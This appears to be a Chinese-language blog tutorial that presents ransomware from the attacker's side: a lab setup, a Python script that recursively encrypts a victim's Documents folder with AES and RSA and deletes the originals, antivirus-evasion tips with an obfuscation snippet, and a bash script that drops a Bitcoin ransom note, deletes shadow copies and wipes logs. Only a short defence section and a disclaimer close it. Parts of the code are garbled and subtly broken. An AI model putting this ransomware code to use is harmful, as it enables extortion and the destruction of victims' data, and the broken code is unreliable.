0x01 勒索软件攻击的技术原理

勒索软件(Ransomware)是一种恶意软件,它通过加密目标系统上的重要文件来实现敲诈勒索,要求受害者支付赎金以换取解密密钥。攻击者通常会结合多种技术手段,包括社会工程学、漏洞利用、特权提升和横向移动,最终完成文件加密与勒索的整个攻击链。

从攻击者的视角来看,勒索软件的核心在于以下几个关键点:

  1. 初始感染:通过鱼叉式钓鱼邮件、恶意办公文档或水坑攻击,给目标系统注入恶意载荷。
  2. 权限提升:利用本地提权漏洞或者密码抓取技术,获得更高权限。
  3. 横向移动:扫描内网,发现更多存储有价值文件的设备。
  4. 文件加密:实现高效且隐蔽的加密算法,通常包括 AES 对称加密与 RSA 非对称加密的结合。
  5. 勒索通知:向受害者展示勒索文件(如 README.txt 或弹窗),同时保证支付路径(如 Tor 或加密货币地址)的隐匿性。
  6. 痕迹清除:删除日志、禁用备份、清除影子副本等操作,确保难以溯源。

攻击全链条化是现代勒索软件的显著特点,多个阶段的技术相辅相成,使其具备极高的破坏性和隐匿性。接下来,我们将从攻击环境搭建到代码实战,深入分析这类攻击。

---

0x02 环境搭建:模拟一个真实的勒索链

为了复现勒索软件的攻击链,我们需要一个完整的实验环境,包括攻击者与目标系统。以下是一个典型的实验环境构建流程。

实验环境需求

  1. 攻击者主机
  • Kali Linux 或 Parrot OS
  • 工具:Metasploit、Cobalt Strike、Sliver
  • 编程环境:Python3、GoLang
  1. 目标系统
  • Windows 10 虚拟机(开启 SMB、RDP 等常见服务)
  • 文件共享目录,存放敏感文件
  • 安装 Office、Adobe Reader 等常见软件,模拟真实办公环境
  1. 网络拓扑
  • 使用 VMware 或 VirtualBox 创建 NAT 网络,攻击者与目标机在同一子网中。
  • 可选:搭建一台 Windows Server 作为域控制器,进一步测试横向移动技巧。

部署步骤

  1. 目标机准备
  • 关闭 Windows Defender 和防火墙(用于实验测试,请勿应用于生产环境)。
  • 启用 RDP 和文件共享功能。
  • 配置一些敏感文件(如 Excel、Word 文档)用于加密测试。
  1. 攻击者主机准备
  • 安装 Cobalt Strike 并配置 Team Server。
  • 准备 Python 和 Bash 脚本,用于后续定制化勒索软件开发和免杀测试。
  1. 辅助工具
  • 安装 Wireshark 或 tcpdump,用于观察网络流量。
  • 准备模拟用户行为的工具,如自动化点击工具,测试社会工程学攻击的有效性。

通过上述准备,一个可供实验的勒索软件攻击链环境已经搭建完成。接下来,我们进入实战部分,开发并测试一个勒索软件样本。

---

0x03 核心实现:勒索软件的代码设计

为了模拟勒索软件的攻击过程,我们从文件加密功能开始,并结合网络传输和隐匿性设计。

核心代码:文件加密逻辑

以下是一个 Python 脚本,用于实现目标文件的递归加密。你会发现,AES 和 RSA 的组合让文件加密既高效又难以破解。

<pre><code class="language-python">from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import serialization, hashes import os

生成RSA密钥对 (模拟攻击者)

def generate_rsa_keys(): private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048 ) public_key = private_key.public_key() return private_key, public_key

黑客示意图

文件加密函数

def encrypt_file(file_path, aes_key, public_key): with open(file_path, &#039;rb&#039;) as f: plaintext = f.read()

使用AES加密文件内容

cipher = Cipher(algorithms.AES(aes_key), modes.CFB(b&#039;16-byte-IV-0000&#039;)) encryptor = cipher.encryptor() encrypted_data = encryptor.update(plaintext) + encryptor.finalize()

使用RSA加密AES密钥

encrypted_key = public_key.encrypt( aes_key, padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) )

保存加密文件

with open(file_path + &#039;.enc&#039;, &#039;wb&#039;) as f: f.write(encrypted_key + b&#039;---SEPARATOR---&#039; + encrypted_data)

os.remove(file_path) # 删除原文件

遍历目录,递归加密所有文件

def encrypt_directory(directory, aes_key, public_key): for root, dirs, files in os.walk(directory): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path, aes_key, public_key)

if __name__ == &quot;__main__&quot;:

模拟攻击者生成RSA密钥对

private_key, public_key = generate_rsa_keys()

模拟生成AES密钥

aes_key = os.urandom(32)

黑客示意图

指定要加密的目标目录

target_directory = &quot;C:\\Users\\Victim\\Documents&quot; encrypt_directory(target_directory, aes_key, public_key)</code></pre>

代码解读

  1. AES 加密:使用对称加密算法,对大文件进行快速加密。
  2. RSA 加密:将 AES 密钥加密后附加到文件开头,确保只有攻击者能解密数据。
  3. 递归遍历:自动定位所有目标文件,无需手动指定路径。

---

0x04 绕过与免杀思路

现代 EDR 和杀毒软件会尝试检测恶意进程的行为特征,以下是常见的绕过手段。

静态免杀

  • 代码混淆:使用 PyArmor 或 py2exe 将 Python 脚本打包成二进制文件。
  • 字符串加密:将脚本中的关键字符串(如路径、函数名)替换为随机加密字符串,运行时动态解密。

<pre><code class="language-python"># 简单字符串动态解密示例 def decrypt_string(encrypted_string): return &#039;&#039;.join(chr(ord(c) ^ 42) for c in encrypted_string)

encrypted_path = &quot;ObfuscatedPath&quot;.encode(&quot;utf-8&quot;) real_path = decrypt_string(encrypted_path)</code></pre>

动态免杀

  • 内存加载:将恶意代码直接加载到内存中运行,避免在磁盘上留下痕迹。
  • 模块劫持:通过劫持合法模块的加载顺序,注入恶意功能。

这些技术都是为了规避常见的安全防护机制,使勒索软件更难以被检测或拦截。

---

黑客示意图

0x05 痕迹处理与勒索信息投放

攻击完成后,为了最大化影响,勒索软件通常会在系统中留下勒索信息。以下是一个简单的勒索文档生成逻辑。

<pre><code class="language-bash">#!/bin/bash

创建勒索信息文件

MESSAGE=&quot;All your files have been encrypted. Send 1 BTC to the following address: 1FfmbHfnpaZjKFvyi1okTjJJusN455paPH&quot; TARGET_DIR=&quot;/home/victim/Documents&quot;

echo &quot;$MESSAGE&quot; &gt; &quot;$TARGET_DIR/README.txt&quot;

删除影子副本 (需要管理员权限)

vssadmin delete shadows /all /quiet

清理日志文件

truncate -s 0 /var/log/syslog truncate -s 0 /var/log/auth.log</code></pre>

---

0x06 攻击总结与防御建议

在完整复现了勒索软件攻击链的基础上,我们总结以下关键点:

  1. 攻击者视角:勒索软件的核心是高效的文件加密与隐匿性,同时注重免杀和横向移动的能力。
  2. 防御建议
  • 定期备份重要数据,并将备份存储在离线设备中。
  • 启用多因子认证,减少攻击面。
  • 部署行为分析型 EDR,检测异常加密操作。

这篇文章仅限于授权的安全研究测试,切勿用于非法用途。希望通过这些技术的分享,提高防御者的安全意识,让攻击者无从下手。